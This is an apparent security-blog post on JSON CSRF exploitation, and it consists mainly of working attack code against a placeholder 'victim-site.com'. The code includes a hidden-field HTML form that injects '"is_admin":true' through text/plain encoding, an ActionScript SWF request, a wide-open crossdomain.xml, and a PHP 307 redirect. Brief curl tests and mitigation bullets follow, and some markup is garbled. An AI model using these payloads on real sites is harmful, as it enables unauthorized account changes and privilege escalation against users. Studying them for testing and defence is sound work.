JSON CSRF Attack Exploitation

By /

Listen to this Post

Featured Image
JSON CSRF attacks occur when a server accepts JSON data but fails to enforce proper Content-Type validation. If the server processes requests with `Content-Type: text/plain` instead of application/json, an attacker can craft a malicious HTML form to submit JSON data via CSRF.

Exploitation Steps:

1. Craft a Malicious HTML Form:


<form action="https://victim-site.com/api/update" method="POST" enctype="text/plain">
<input name='{"email":"[email protected]","is_admin":true,"padding":"' value='dummy"}' type="hidden">
<input type="submit" value="Submit">
</form>

– The `enctype=”text/plain”` bypasses JSON validation.
– The `padding` field ensures valid JSON syntax.

2. Using Flash (.swf) for Advanced Exploitation:

  • Host a malicious SWF file that forces a JSON POST request: 
    import flash.net.URLRequest;
import flash.net.URLVariables;
import flash.net.navigateToURL;</li>
</ul>

var request:URLRequest = new URLRequest("https://victim-site.com/api/update");
var data:URLVariables = new URLVariables();
data.json = '{"email":"[email protected]","is_admin":true}';
request.data = data;
request.method = "POST";
navigateToURL(request, "_self");

    3. Cross-Domain Policy Bypass:

    • Host a `crossdomain.xml` to allow Flash requests from any domain: 
      <cross-domain-policy>
<allow-access-from domain="" secure="false"/>
<allow-http-request-headers-from domain="" headers="" secure="false"/>
</cross-domain-policy>

    4. PHP 307 Redirect for Persistent Attack:

    • Use a PHP file to force a 307 redirect (keeps POST data): 
      <?php
header("Location: https://victim-site.com/api/update", true, 307);
?>

    You Should Know:

    • Testing for JSON CSRF: 
      curl -X POST -H "Content-Type: text/plain" -d '{"key":"value"}' https://victim-site.com/api

    If the server responds without errors, it’s vulnerable.

    • Mitigation:
    • Enforce Content-Type: application/json.
    • Use CSRF tokens in JSON requests.
    • Implement CORS restrictions.

    • Linux Command to Check Headers: 

      curl -I -X POST https://victim-site.com/api

    What Undercode Say:

    JSON CSRF remains a critical threat when servers misconfigure MIME type handling. Attackers exploit weak validation to submit unauthorized JSON data. Defenders must enforce strict `Content-Type` checks and implement anti-CSRF tokens.

    Expected Output:

    A successful JSON CSRF attack modifies server data without user consent, leading to account takeover or privilege escalation.

    Prediction:

    As APIs grow, JSON CSRF attacks will rise unless developers adopt strict input validation and security headers.

    (Relevant article: OWASP CSRF Guide)

    IT/Security Reporter URL:

    Reported By: Zlatanh Csrf – Hackers Feeds
    Extra Hub: Undercode MoN
    Basic Verification: Pass ✅

    Join Our Cyber World:

    💬 Whatsapp | 💬 Telegram

Related Posts: